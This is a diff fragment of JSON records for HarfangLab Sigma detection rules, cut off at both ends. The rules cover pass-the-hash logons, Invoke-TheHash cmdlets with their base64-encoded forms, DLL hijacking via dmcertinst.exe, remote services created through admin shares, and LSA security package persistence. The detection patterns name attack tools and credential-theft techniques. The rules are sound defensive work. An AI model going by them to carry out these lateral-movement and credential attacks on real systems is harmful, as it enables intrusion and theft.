+  "rule_description": "Detects s successful logon using the Pass-the-Hash technique.\nA Pass-the-Hash attack requires having an administrator account and is used to move laterally inside an Active Directory network.\nThis attack allows the usage of a password hash for authentication without the need to brute-force it to obtain the cleartext password.\nThe credential dumper Mimikatz is often used by attackers to perform this attack, but all red team frameworks implement this technique.\nWhen a user executes the command \"runas.exe\" with the \"/netonly\" flag, this alert will be triggered, and can be considered a false positive.\nIt is recommended to investigate the context of this action to determine its legitimacy.\nChecking the fields 'SubjectUserName' and 'TargetOutboundUserName' give useful information about the credentials involved.\n",
+  "rule_creation_date": "2021-09-30",
+  "rule_modified_date": "2025-04-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39d92e23-6a48-41c3-ab96-57747580f3e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595934Z",
+  "creation_date": "2026-03-23T11:45:34.595937Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595945Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Invoke-TheHash",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1550/002/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_invoke_thehash_cmd.yml",
+  "content": "title: Malicious PowerShell Invoke-TheHash Commandlets in Command-line\nid: 39d92e23-6a48-41c3-ab96-57747580f3e1\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Invoke-TheHash module.\n    Invoke-TheHash contains PowerShell functions for performing pass-the-hash attacks over WMI and SMB protocols.\n    This module enables lateral movement by abusing captured NTLM hashes through .NET TCPClient, allowing attackers to authenticate and execute commands on remote systems without requiring the actual password.\n    Common command patterns include Invoke-SMBExec, Invoke-WMIExec, and related NTLMv2 authentication attempts.\n    Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol.\n    It is recommended to investigate PowerShell logs for Invoke-TheHash command patterns, correlate with network authentication attempts, and identify affected systems while revoking compromised NTLM hashes.\nreferences:\n    - https://github.com/Kevin-Robertson/Invoke-TheHash\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1550/002/\ndate: 2022/10/12\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.lateral_movement\n    - attack.t1550.002\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.InvokeTheHash\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmdlet:\n        CommandLine|contains:\n            # WMI Command Execution Function\n            - 'Invoke-WMIExec'\n            - 'SQBuAHYAbwBrAGUALQBXAE0ASQBFAHgAZQBjA'\n            - 'kAbgB2AG8AawBlAC0AVwBNAEkARQB4AGUAYw'\n            - 'JAG4AdgBvAGsAZQAtAFcATQBJAEUAeABlAGMA'\n            # SMB Command Execution Function\n            - 'Invoke-SMBExec'\n            - 'SQBuAHYAbwBrAGUALQBTAE0AQgBFAHgAZQBjA'\n            - 'kAbgB2AG8AawBlAC0AUwBNAEIARQB4AGUAYw'\n            - 'JAG4AdgBvAGsAZQAtAFMATQBCAEUAeABlAGMA'\n            # User, Group and NetSession and Share enumeration.\n            - 'Invoke-SMBEnum'\n            - 'SQBuAHYAbwBrAGUALQBTAE0AQgBFAG4AdQBtA'\n            - 'kAbgB2AG8AawBlAC0AUwBNAEIARQBuAHUAbQ'\n            - 'JAG4AdgBvAGsAZQAtAFMATQBCAEUAbgB1AG0A'\n            # SMB Client, file sharing\n            - 'Invoke-SMBClient'\n            - 'SQBuAHYAbwBrAGUALQBTAE0AQgBDAGwAaQBlAG4AdA'\n            - 'kAbgB2AG8AawBlAC0AUwBNAEIAQwBsAGkAZQBuAHQA'\n            - 'JAG4AdgBvAGsAZQAtAFMATQBCAEMAbABpAGUAbgB0A'\n            # Running above functions against multiple targets\n            - 'Invoke-TheHash'\n            - 'SQBuAHYAbwBrAGUALQBUAGgAZQBIAGEAcwBoA'\n            - 'kAbgB2AG8AawBlAC0AVABoAGUASABhAHMAaA'\n            - 'JAG4AdgBvAGsAZQAtAFQAaABlAEgAYQBzAGgA'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39d92e23-6a48-41c3-ab96-57747580f3e1",
+  "rule_name": "Malicious PowerShell Invoke-TheHash Commandlets in Command-line",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Invoke-TheHash module.\nInvoke-TheHash contains PowerShell functions for performing pass-the-hash attacks over WMI and SMB protocols.\nThis module enables lateral movement by abusing captured NTLM hashes through .NET TCPClient, allowing attackers to authenticate and execute commands on remote systems without requiring the actual password.\nCommon command patterns include Invoke-SMBExec, Invoke-WMIExec, and related NTLMv2 authentication attempts.\nAuthentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol.\nIt is recommended to investigate PowerShell logs for Invoke-TheHash command patterns, correlate with network authentication attempts, and identify affected systems while revoking compromised NTLM hashes.\n",
+  "rule_creation_date": "2022-10-12",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1550.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ac3b18f-d76a-4a86-ac8f-26c0cc249a24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078589Z",
+  "creation_date": "2026-03-23T11:45:34.078591Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078596Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dmcertinst.yml",
+  "content": "title: DLL Hijacking via dmcertinst.exe\nid: 3ac3b18f-d76a-4a86-ac8f-26c0cc249a24\ndescription: |\n    Detects potential Windows DLL Hijacking via dmcertinst.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dmcertinst.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\certenroll.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\DSPARSE.dll'\n            - '\\iri.dll'\n            - '\\msvcp110_win.dll'\n            - '\\ncrypt.dll'\n            - '\\omadmapi.dll'\n            - '\\umpdc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ac3b18f-d76a-4a86-ac8f-26c0cc249a24",
+  "rule_name": "DLL Hijacking via dmcertinst.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dmcertinst.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ad4fcf4-b08f-42fb-a82a-d6354c186bea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095635Z",
+  "creation_date": "2026-03-23T11:45:34.095637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095641Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/003/",
+    "https://attack.mitre.org/techniques/T1569/002/",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_service_admin_share_create.yml",
+  "content": "title: Service Created Remotely via Admin Share\nid: 3ad4fcf4-b08f-42fb-a82a-d6354c186bea\ndescription: |\n    Detects the creation of a service executing a remote image, a technique commonly employed in lateral movement.\n    This method, notably used by Cobalt Strike's PsExec module, allows attackers to move laterally by creating services on remote systems that execute malicious payloads.\n    While legitimate administrative tools may use similar techniques, unauthorized remote service execution often indicates adversary activity.\n    It is recommended to investigate the source of remote service creation, validate the legitimacy of the service binary path, and correlate with authentication logs to identify potential lateral movement attempts.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/003/\n    - https://attack.mitre.org/techniques/T1569/002/\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2025/06/11\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.003\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.Service\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: service\ndetection:\n    selection:\n        OperationType: 'create'\n        ServiceCommandLine|contains:\n            - 'C$'\n            - 'ADMIN$'\n        AgentVersion|gte|version: 4.9.0\n        IsRemote: 'true'\n\n    exclusion_rayinventory:\n        ServiceCommandLine: '\\\\localhost\\ADMIN$\\Temp\\RayVentoryScanEngine\\mgsreservice.exe'\n        ServiceName: 'RaynetRVPRE'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ad4fcf4-b08f-42fb-a82a-d6354c186bea",
+  "rule_name": "Service Created Remotely via Admin Share",
+  "rule_description": "Detects the creation of a service executing a remote image, a technique commonly employed in lateral movement.\nThis method, notably used by Cobalt Strike's PsExec module, allows attackers to move laterally by creating services on remote systems that execute malicious payloads.\nWhile legitimate administrative tools may use similar techniques, unauthorized remote service execution often indicates adversary activity.\nIt is recommended to investigate the source of remote service creation, validate the legitimacy of the service binary path, and correlate with authentication logs to identify potential lateral movement attempts.\n",
+  "rule_creation_date": "2025-06-11",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1543.003",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ada4475-911a-4c93-a5bd-9de28d773cd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620858Z",
+  "creation_date": "2026-03-23T11:45:34.620860Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620864Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package",
+    "https://hadess.io/pwning-the-domain-persistence/",
+    "https://attack.mitre.org/techniques/T1547/005/"
+  ],
+  "name": "t1547_005_persistence_lsa_security_package.yml",
+  "content": "title: LSA Security Package Installed\nid: 3ada4475-911a-4c93-a5bd-9de28d773cd0\ndescription: |\n    Detects modifications to the LSA Security Packages registry key (HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages), which is used to register new Security Support Providers (SSPs).\n    This technique is commonly abused by attackers to install malicious SSPs, allowing them to intercept credentials and maintain persistence by injection their DLLs into the LSASS process.\n    It is recommended to investigate the registry details for any unrecognized programs in your environment, and whitelist any recurring legitimate details.\n    If this action is malicious, restore the registry key to its baseline configuration while reviewing authentication logs for potential credential theft.\nreferences:\n    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package\n    - https://hadess.io/pwning-the-domain-persistence/\n    - https://attack.mitre.org/techniques/T1547/005/\ndate: 2020/09/22\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.005\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\Security Packages'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - '\"\"'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_vmware:\n        Details:\n            - '\"\";wsauth'\n            - '\"\";VMWSU.DLL'\n            - '\"\";VMWSU_V1_0.DLL'\n            - '\"\";wsauth;VMWSU.DLL'\n\n    exclusion_malwarebytes:\n        Image: '?:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'\n\n    exclusion_citrix1:\n        Details:\n            - '?:\\Program Files (x86)\\Citrix\\system32\\ctxauth;\"\"'\n            - 'ctxauth;\"\"'\n\n    exclusion_citrix2:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        Details|contains: '?:\\PROGRA~?\\Citrix\\System32\\ctxauth;'\n\n    exclusion_legit:\n        Details:\n            - 'kerberos;msv1_0;pku2u;wdigest;tspkg;cloudap;schannel'\n            - 'kerberos;msv1_0;pku2u;wdigest;cloudAP;tspkg;schannel'\n            - 'kerberos;msv1_0;schannel;wdigest;tspkg'\n            - 'kerberos;msv1_0;schannel;wdigest;tspkg;pku2u'\n            - 'kerberos;msv1_0;schannel;wdigest;tspkg;pku2u;\"\";wsauth'\n            - 'kerberos;msv1_0;schannel;wdigest;tspkg;pku2u;\"\"'\n            - 'pku2u;wdigest;kerberos;msv1_0;tspkg;schannel;cloudAP'\n            - 'pku2u;wdigest;cloudAP;kerberos;msv1_0;tspkg;schannel'\n            - 'kerberos;msv1_0;pku2u;wdigest;tspkg;schannel;cloudAP'\n            - '\"\";?:\\Program Files\\Yubico\\Login\\Yubico.AuthenticationPackage.dll'\n            - ';?:\\Program Files\\Yubico\\Login\\Yubico.AuthenticationPackage.dll'\n            - '\"\";tspkg'\n            - '\"\";msoidssp'\n            - '\"\";msoidssp;wsauth'\n\n    exclusion_poqexec:\n        Image: '?:\\Windows\\System32\\poqexec.exe'\n        ProcessParentCommandLine: '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n\n    exclusion_ivanti:\n        Image:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\System32\\lsass.exe'\n        Details|contains: ';?:\\Program Files\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMLsaAP'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ada4475-911a-4c93-a5bd-9de28d773cd0",
+  "rule_name": "LSA Security Package Installed",
+  "rule_description": "Detects modifications to the LSA Security Packages registry key (HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages), which is used to register new Security Support Providers (SSPs).\nThis technique is commonly abused by attackers to install malicious SSPs, allowing them to intercept credentials and maintain persistence by injection their DLLs into the LSASS process.\nIt is recommended to investigate the registry details for any unrecognized programs in your environment, and whitelist any recurring legitimate details.\nIf this action is malicious, restore the registry key to its baseline configuration while reviewing authentication logs for potential credential theft.\n",
+  "rule_creation_date": "2020-09-22",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3b081a6b-6195-46fe-924f-a649c6059107",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621832Z",
+  "creation_date": "2026-03-23T11:45:34.621834Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621838Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/",
+    "https://car.mitre.org/analytics/CAR-2014-11-005/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_remote_registry_disableidle.yml",
+  "content": "title: Remote Registry Service Configuration Modified\nid: 3b081a6b-6195-46fe-924f-a649c6059107\ndescription: |\n    Detects when the configuration of the Remote Registry Service is modified.\n    This service is by default, disabled on workstations (starting with Windows 8) and enabled on servers. It is also set, by default, to stop automatically if it idles for more than 10 minutes.\n    An adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\n    It can be used by an attacker to prepare a Lateral Movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving its objective.\n    It is recommended to analyze the parent process to determine if this activity is normal in your infrastructure.\nreferences:\n    - https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/\n    - https://car.mitre.org/analytics/CAR-2014-11-005/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/09/13\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RemoteRegistry\\DisableIdleStop'\n\n    filter_stop:\n        Details: 'DWORD (0x00000001)' # It will stop after 10mins of idle\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3b081a6b-6195-46fe-924f-a649c6059107",
+  "rule_name": "Remote Registry Service Configuration Modified",
+  "rule_description": "Detects when the configuration of the Remote Registry Service is modified.\nThis service is by default, disabled on workstations (starting with Windows 8) and enabled on servers. It is also set, by default, to stop automatically if it idles for more than 10 minutes.\nAn adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\nIt can be used by an attacker to prepare a Lateral Movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving its objective.\nIt is recommended to analyze the parent process to determine if this activity is normal in your infrastructure.\n",
+  "rule_creation_date": "2023-09-13",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3b24630e-1690-4a29-8fb1-c841f646d79b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069782Z",
+  "creation_date": "2026-03-23T11:45:34.069784Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069788Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader",
+    "https://www.crowdstrike.com/blog/hijackloader-expands-techniques/",
+    "https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/",
+    "https://attack.mitre.org/techniques/T1055/012/"
+  ],
+  "name": "t1055_012_supicious_execution_from_more_com.yml",
